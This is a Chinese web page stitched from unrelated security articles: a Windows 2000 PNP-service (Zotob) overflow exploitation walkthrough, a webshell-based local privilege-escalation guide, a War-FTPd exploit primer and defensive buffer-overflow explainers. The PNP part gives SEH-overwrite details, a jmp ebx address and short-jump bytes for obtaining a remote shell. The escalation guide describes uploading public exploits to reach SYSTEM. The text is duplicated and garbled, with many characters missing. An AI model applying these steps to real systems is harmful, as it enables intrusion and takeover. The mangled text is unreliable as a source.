;0x76750199在输入命令d ;(*(esp ;+ ;4) ;+ ;c4)得到异常发生时:ESP ;= ;0x005bf864调试到这里由EIP ;= ;0x76750199我们应该得出了个结论:该漏洞是典型ret前异常换句话说就是在问题返回的前就已经发生了异常按照前面宏定位分析网上公布代码是定利用了改写SEH指针方式我们来证明下:输入命令d ;fs:0我们看到当前线程S ;E ;H结构位于0x005bf8f8处再输入命令d ;ss:005bf8f8看到了当前线程SEH结构8字节呵呵当前线程异常处理指针是0x75021e3e也就是前面看到填充地址证明了我前面假设我们将该地址改为Windows ;2000下通用jmp ;ebx地址:0x7ffa1571前面4个字节填写为eb ;06 ;eb ;04然后将VMWare系统重启再次测试这下目标机器没有重启VMWare系统IP为192.168.1.8在本机输入telnet ;192.168.1.8 ;8721立即得到了Shell修改成功了小结:本文中我简单地和大家起对PNP服务溢出漏洞进行了分析分析过程不复杂只是我想通过这样分析调试和大家起分享我调试这些漏洞些经验本文中涉及宏定位分析在以后大家分析其它复杂漏洞时候同样适用我修改后代码细节可以参见光盘中源代码在Windows ;2000+VC6下编译、测试通过上篇文章: 推荐:从卡巴漏洞管窥内核模式Shellcode编写下篇文章: 推荐:我写CC思路及防范思路方法。
window提权系列之本地溢出exploit,让你的电脑成为肉鸡
window提权系列之本地溢出exploit,让你的电脑成为肉鸡1、溢出漏洞就像杯子里装水,水多了杯子装不进去,就会把里面的水溢出来.而相对计算机来说计算机有个地方叫缓存区,程序的缓存区长度是被事先设定好的,如果用户输入的数据超过了这个缓存区的长度,那么这个程序就会溢出了.缓存区溢出漏洞主要是由于许多软件没有对缓存区检查而造成的.2、实战操作假设我们这里拿到了一个webshell,目标是一个asp的网站首先我们来看一下,能不能执行命令,执行whoami,是一个普通用户看起来是一个普通用户,我们添加账号密码,却是不行,意思就是权限不够,不能进行一个添加账号的操作,那么我们接下来的操作就是要把cmd的权限升为具备管理员权限的一个状态,或者是比管理员权限更高的一个system权限上去一般来说,我们在内网,会先看这个远程溢出或者远程代码执行,然后到这个服务器密码的查找,但是我们可以先尝试本地溢出,因为前面两个的概率会比较小一点,那些漏洞影响范围特别大,管理员一般都会对这个漏洞进行一方面的修补,后面的提权洞因为这些影响范围不那么大,那管理员就会忽略掉。
我,们systeminfo看一下相关的信息看到后面,它这里确定是一台32位的系统,所以我们传exp的时候,就要小心了,就不能传64位的了,要传32位的了。
我们这里搜索一下它这台机器打的一个补丁,相关的提示如下,这个补丁是一个franm的一个更新,看到这,就可以确定这台机器没有打什么补丁的了。
没打什么补丁的话,其实不管打没打补丁,我们提权使用exp的话,从最新的依次往旧的全部试一遍,看一下能不能成功,为什么要确定补丁号?就是说被提权环境它的这个环境设置千变万化各种情况它都有,包括我们今天要学习的这个溢出利用到了漏洞有些是不太稳定的,所以我们这次就从最新的8120开始到旧的去尝试。
在github 上面找到相关的漏洞exp,,成功率也是比较高的,下载好exp上传到webshell我上传了一个cmd和8120的exp.Cd进入到我们上传exp的那个目录,然后看当前的文件确认一下它这里的结果是以system方式去执行我们添加用户,还是拒绝访问,权限不够,说明这个exp没有提权成功。
Win32 缓冲区溢出实战
Win32缓冲区溢出实战原文:《Intro to Win32Exploits》作者:Sergio Alvarez2004.09.05译者:cloie#2004.10.30一、前序很多次被朋友邀请写篇关于在Win32下Exploit的文章。
一来是因为此类文章中关于*nix平台比较多,而Win32相对较少;二来是因为在Win32中写exploit有些地方可能困难一点。
以下我将用一个具体的简单例子,详细分析漏洞的发现挖掘、调试以及exploit编写利用,这里选择'War-FTPd vl.65'的一个stack缓冲区溢出漏洞。
首先,需要准备以下实战工具:pyOpenSSL-/Ollydbg-http://home.t-online.de/Ollydbg/OllyUni by FX of Phenoelit-http://www.phenoelit.deWar-Ftpd version1.65by jgaa-Fuzzer vl.0-/~shadown/Twister/(译者注)因为pyOpenSSL可以找到针对python2.2.x的win32编译版,所以python安装2.2.x会比较方便。
二、挖掘漏洞能够实时调试在漏洞挖掘过程中,是非常重要的,可以知道究竟发生了什么。
下面用Ollydbg打开要调试的程序'War-FTPd vl.65':♦运行'Ollydbg'♦File->Open(or press F3)(图一)♦浏览到安装'War-FTPd vl.65'的目录然后选择'war-ftpd.exe'file(图二)♦Debug->Run(or press F9)(图三)♦在War-Ftp窗口菜单中运行->'Start Service'(图四)启动程序后,可能会有些explaination,按照提示(shift+F7/F8/F9)跳过即可。
如何调试缓冲区溢出(网摘)
如何调试缓冲区溢出(网摘)当 David LeBlanc 和我确定《Writing Secure Code》一书的目录时,我们明确地意识到必须着重介绍缓冲区溢出问题,因为已经有太多的开发人员在编写代码时犯了太多的此类错误,这些错误导致了可被人利用的缓冲区溢出的出现。
在本文中,我将集中介绍为什么会出现缓冲区溢出及其修复的方法。
为什么会出现缓冲区溢出出现缓冲区溢出需要具备很多条件,包括:•使用非类型安全的语言,如 C/C++。
•以不安全的方式访问或复制缓冲区。
•编译器将缓冲区放在内存中关键数据结构旁边或邻近的位置。
现在我们来仔细看看以上每种条件。
首先,缓冲区溢出主要出现在C 和C++ 中,因为这些语言不执行数组边界检查和类型安全检查。
C/C++ 允许开发人员创建非常接近硬件运行的程序,从而允许直接访问内存和计算机寄存器。
其结果可以获得优异的性能;很难有任何应用程序能象编写得很好的C/C++ 应用程序运行得那样快。
其他语言中也会出现缓冲区溢出,但很少见。
如果出现这种错误,通常不是由开发人员造成的,而是运行时环境的错误。
其次,如果应用程序从用户(或攻击者)那里获取数据,并将数据复制到应用程序所维护的缓冲区中而未考虑目标缓冲区的大小,则可能造成缓冲区溢出。
换句话说,代码为缓冲区分配了N个字节,却将多于 N 个字节的数据复制到该缓冲区中。
这就象向12 盎司的玻璃杯中注入16 盎司的水一样。
那么多出的4 盎司水到哪里去了呢?全溢出去了!最后一点,也是最重要的一点,编译器通常将缓冲区放在“令人感兴趣的”数据结构旁边。
例如,当某个函数的缓冲区紧邻堆栈,则在内存中该函数的返回地址紧靠在缓冲区之后。
这时,如果攻击者可以使该缓冲区发生溢出,他就可以覆盖函数的返回地址,从而在返回函数时,返回到攻击者定义的地址。
其他令人感兴趣的数据结构包括C++ V 表、异常处理程序地址、函数指针等等。
下面我们来看一个示例。
以下代码有什么错误?void CopyData(char *szData) {char cDest[32];strcpy(cDest,szData);// 使用 cDest...}令人惊讶的是,这段代码可能没有什么错误!这完全取决于CopyData() 的调用方式。
如何解决内存溢出问题
如何解决内存溢出问题?2004-12-2 17:07:28在程序员设计的代码中包含的“内存溢出”漏洞实在太多了。
本文将给大家介绍内存溢出问题的产生根源、巨大危害和解决途径。
一、为什么会出现内存溢出问题?导致内存溢出问题的原因有很多,比如:(1) 使用非类型安全(non-type-safe)的语言如 C/C++ 等。
(2) 以不可靠的方式存取或者复制内存缓冲区。
(3) 编译器设置的内存缓冲区太靠近关键数据结构。
下面来分析这些因素:1. 内存溢出问题是 C 语言或者 C++ 语言所固有的缺陷,它们既不检查数组边界,又不检查类型可靠性(type-safety)。
众所周知,用 C/C++ 语言开发的程序由于目标代码非常接近机器内核,因而能够直接访问内存和寄存器,这种特性大大提升了 C/C++ 语言代码的性能。
只要合理编码,C/C++ 应用程序在执行效率上必然优于其它高级语言。
然而,C/C++ 语言导致内存溢出问题的可能性也要大许多。
其他语言也存在内容溢出问题,但它往往不是程序员的失误,而是应用程序的运行时环境出错所致。
2. 当应用程序读取用户(也可能是恶意攻击者)数据,试图复制到应用程序开辟的内存缓冲区中,却无法保证缓冲区的空间足够时(换言之,假设代码申请了 N 字节大小的内存缓冲区,随后又向其中复制超过 N 字节的数据)。
内存缓冲区就可能会溢出。
想一想,如果你向 12 盎司的玻璃杯中倒入 16 盎司水,那么多出来的 4 盎司水怎么办?当然会满到玻璃杯外面了!3. 最重要的是,C/C++ 编译器开辟的内存缓冲区常常邻近重要的数据结构。
现在假设某个函数的堆栈紧接在在内存缓冲区后面时,其中保存的函数返回地址就会与内存缓冲区相邻。
此时,恶意攻击者就可以向内存缓冲区复制大量数据,从而使得内存缓冲区溢出并覆盖原先保存于堆栈中的函数返回地址。
这样,函数的返回地址就被攻击者换成了他指定的数值;一旦函数调用完毕,就会继续执行“函数返回地址”处的代码。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
expliot:菜鸟版Expliot编写指南的PNP溢出漏洞分析+利用
疯狂代码 / ĵ:http://Security/Article73764.html
来源:安全中国
个月前和朋友聊天谈到现在网络上蠕虫、病毒是越来越猖狂前年“冲击波”去年“震荡波”今年还不知道又出什么呢?话音刚落个被命名为Zotob蠕虫病毒已经在8月15日开始传播后来几天该蠕虫变种相继产生对网络造成了定影响Zotob蠕虫是基于Windows2000 ;以上版本即插即用(PNP)服务中产生堆栈溢出漏洞远程攻击者通过TCP ;445或139端口向该服务提交畸形请求溢出后可能获取系统权限大家防范意识都比较强了很多用户都及时打了补丁而般个人防火墙默认规则也封堵了TCP ;139或445端口该漏洞破坏力已经明显不如以前“冲击波”们了言归正传我们还是来分析这个漏洞
、漏洞起因及影响范围
漏洞起因前面已经简单提到了我们可以参见漏洞公告
从漏洞公告我们可以看出两点:
1.漏洞起因:Windows ;2000版本以上PNP服务存在远程堆栈溢出漏洞“远程”是该服务可以通过RPC接口来远程
2.影响范围:漏洞只对Windows ;2000 ;有真正威胁而要攻击XP和Windows2003均有定限制对于这个RPC接口如果在Windows ;2000上则可以远程匿名进行;在 ;Windows ;XP ;SP0、SP1上需要以个有效账号登录后才可以;在Windows ;XP ;SP2和Windows ;2003上只有管理员组用户才能远程其它账号只能本地
2、远程溢出漏洞宏定位分析
这部分工作我认为很重要因此在本文中正好讲清楚些所谓“宏定位”就是指我们应该对我们实现目标进行预先分析调试漏洞是这样做其它工作也是如此这步做好了我们在后面可以少走弯路
1.对具有溢出漏洞服务进程归类
这里我们将服务进程分为两类类是服务自身绑定了端口可以是TCP ;或UDP端口;另类当然是服务进程自身没有绑定任何端口对于前类服务远程机器直接通过传输层协议(TCP或UDP协议)+应用层协议(如RPC协议、http协议)来访问服务IIS、FTP、HTTP都属于这类服务如果他们服务存在漏洞我们可以通过重复绑定端口、复用来绕过防火墙检测对于后类服务远程机器通过传输层协议+命名管道(IPC$)+应用层协议来访问服务这也就是为什么我们访问LSASS、WorkStation等服务时候要先和远程机器建立IPC$空连接原因这类漏洞要利用要躲避防火墙检测实现起来要困难些这个我在后门会提到
感染利用PNP溢出漏洞蠕虫后我们机器会弹出系统显示“系统处理c:\winnt\system32\services出乎意料终止”关机提示框根据以往经验我们可以看出该漏洞是存在于Services进程中这点和WorkStation服务样因此归为后类
2.服务进程接收缓冲区长度是否足够
这个问题集中体现在用于接收请求(如recv、recvfrom等)第3个参数len上如果指定len很小我们是无法次性传送功能复杂很长ShellCode这时就必须采用其他传送方式例如把ShellCode分段传送在10期另篇溢出文章编写分段传送ShellCode有介绍接收缓冲区长度问题般在服务进程自身绑定了端口溢出漏洞中出现因此PNP服务中可以暂不考虑
3.异常发生位置
这个问题是指我们向服务提交超长请求后会覆盖问题返回地址EIP等指针当返回时候跳转到我们覆盖数据指定地址时候可能发生异常;另外种情况就是在该返回的前由于我们覆盖了局部变量中其它指针导致对其进行引用时候发生异常简而言的就是ret前和ret后发生异常区别对于ret后异常我们可能需要通过KiUserExceptionDispatcher和监视点思路方法来联合定位溢出点并且漏洞利用方式有两种:改写EIP为jmp ;esp ;地址或改写SEH指针;而对于ret前异常我们般通过KiUserExceptionDispatcher来定位溢出点就够了利用时候也只能改写 ;SEH指针我们预先并不知道PNP溢出漏洞属于哪类不过等下面进步调试后就明确了
4.如果是问题ret后异常则判断该约定
这个问题是最容易被忽略如果我们能够采用jmp ;esp利用方式话可能很多人会在覆盖jmp ;esp位置紧接4个字节开始地方连接ShellCode问题就出在这里
不管是Windows系统进程、第3方软件Software、还是我们自己用VC6、VC7编写只要和C/C相关般来说可以分为__cdecl和__stdcall两种约定采用__cdecl在返回需要者恢复实参占用堆栈也就是只执行返回指令为ret我们把ShellCode接到保存EIP后面是没问题;而采用__stdcall在返回是执行指令ret ;n自己恢复实参占用堆栈我们如果把ShellCode接到保存EIP后面话开始n个字节代码就执行不到了这也就是为什么我们在构造些系统进程溢出漏洞(如RPC、WorkStation、LSA等)攻击代码时候jmp ;esp地址后要有若干保留字节原因好了带着剩下问题我们继续
3、PNP溢出漏洞进步分析+利用
现在牛人们利用编写漏洞代码速度是越来越快了蠕虫出来两、 3天攻击代码就已经公布出来了既然有现成我们就直接拿过来用了于是我把 ;上公布代码拿来整理后编译执行结果目标机器还是发生了异常
幸好是用VMWare(+Windows ;2000 ;SP4)作测试否则用我自己机器岂不麻烦?很显然攻击代码存在问题再看看网上代码中地址填充:
EvilRPC.SDA[76] ;= ;0x3e;
EvilRPC.SDA[77] ;= ;0x1e;
EvilRPC.SDA[78] ;= ;0x02;
EvilRPC.SDA[79] ;= ;0x75;
这个地址不是我们熟悉地址需要进步分析这样漏洞分析VMWARE和SoftICE组合是再合适不过了顺便向大家推荐:)启动VMWARE中SoftICE设置断点: ;
bpx ;ntdll!KiUserExceptionDispatcher
发生任何异常SoftICE都会先在这个第条指令停顿下来有关KiUserExceptionDispatcher及其参数详细介绍2004年黑防10期ISNO我是怎样发现CCPROXY溢出漏洞文中有详细介绍我在05年8期中对Realplay溢出漏洞分
析中也有详细介绍大家可以参考这里我只结合本漏洞谈谈
OK重新攻击VMWare系统果然弹出了SoftICE并停留在KiUserExceptionDispatcher入口处
输入命令addr可以看到确是Services进程空间发生了异常输入命令:d ;(*(esp ;+ ;4) ;+ ;b4), ;得到异常发生时
:EBP ;= ;0x005bf874, ;EIP ;= ;0x76750199
在输入命令d ;(*(esp ;+ ;4) ;+ ;c4)得到异常发生时:ESP ;= ;0x005bf864
调试到这里由EIP ;= ;0x76750199我们应该得出了个结论:该漏洞是典型ret前异常换句话说就是在问题返回的前就已经发生了异常按照前面宏定位分析网上公布代码是定利用了改写SEH指针方式我们来证明下:
输入命令d ;fs:0我们看到当前线程S ;E ;H结构位于0x005bf8f8处
再输入命令d ;ss:005bf8f8看到了当前线程SEH结构8字节
呵呵当前线程异常处理指针是0x75021e3e也就是前面看到填充地址证明了我前面假设我们将该地址改为Windows ;2000下通用jmp ;ebx地址:0x7ffa1571前面4个字节填写为eb ;06 ;eb ;04然后将VMWare系统重启再次测试
这下目标机器没有重启VMWare系统IP为192.168.1.8在本机输入telnet ;192.168.1.8 ;8721立即得到了Shell修改成功了
小结:
本文中我简单地和大家起对PNP服务溢出漏洞进行了分析分析过程不复杂只是我想通过这样分析调试和大家起分享我调试这些漏洞些经验本文中涉及宏定位分析在以后大家分析其它复杂漏洞时候同样适用我修改后代码细节可以参见光盘中源代码在Windows ;2000+VC6下编译、测试通过
上篇文章: 推荐:从卡巴漏洞管窥内核模式Shellcode编写
下篇文章: 推荐:我写CC思路及防范思路方法。